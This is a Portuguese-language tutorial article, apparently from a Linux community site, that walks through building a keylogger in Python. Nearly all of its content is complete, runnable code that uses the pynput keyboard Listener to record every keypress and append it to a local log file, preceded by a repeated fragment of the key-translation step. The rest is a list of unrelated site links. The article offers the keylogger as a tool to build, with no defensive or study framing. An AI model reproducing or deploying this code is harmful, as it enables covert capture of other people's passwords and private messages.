Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 48.660 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev
keydata = keydata.replace("'", "")
translate_keys = {
"Key.space": " ",
"Key.shift_r": "",
"Key.shift_l": "",
"Key.enter": "\n",
"Key.alt": "",
"Key.esc": "",
"Key.cmd": "",
"Key.caps_lock": "",
}
for key in translate_keys:
#key recebe a chave do dicionário translate_keys
#substituir a chave (key) pelo seu valor (translate_keys[key])
keydata = keydata.replace(key, translate_keys[key])
#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener
#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"
def writeLog(key):
'''
Esta função será responsável por receber a tecla pressionada
via Listener e escrever no arquivo de log
'''
#dicionário com as teclas a serem traduzidas
translate_keys = {
"Key.space": " ",
"Key.shift_r": "",
"Key.shift_l": "",
"Key.enter": "\n",
"Key.alt": "",
"Key.esc": "",
"Key.cmd": "",
"Key.caps_lock": "",
}
#converter a tecla pressionada para string
keydata = str(key)
#remover as asplas simples que delimitam os caracteres
keydata = keydata.replace("'", "")
for key in translate_keys:
#key recebe a chave do dicionário translate_keys
#substituir a chave (key) pelo seu valor (translate_keys[key])
keydata = keydata.replace(key, translate_keys[key])
#abrir o arquivo de log no modo append
with open(logFile, "a") as f:
f.write(keydata)
#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
l.join()
Blender 5.0 Beta, Firefox 144 e avanço da IA dominam o dia no mundo Linux
Como Turbinar sua Produtividade com VIM - Guia Definitivo do Desenvolvedor
Viva o Linux com bate-papo via web
Corretor Ortográfico no Vim - Guia definitivo
A função DATE_FORMAT() do MySQL
Introdução ao clib (Command Line Book)
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Qu1cksc0pe - All-in-One Static Malware Analysis Tool
RapidScan - Multi-Tool WEB Vulnerability Scanner
Esteganografia e Esteganálise: transmissão e detecção de informações ocultas em imagens digitais
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Atualizar Linux Mint 22.2 para 22.3 beta
Jogar games da Battle.net no Linux com Faugus Launcher
Como fazer a Instalação de aplicativos para acesso remoto ao Linux
Conky, alerta de temperatura alta (10)
Assisti Avatar 3: Fogo e Cinzas (3)
Duas Pasta Pessoal Aparecendo no Ubuntu 24.04.3 LTS (42)









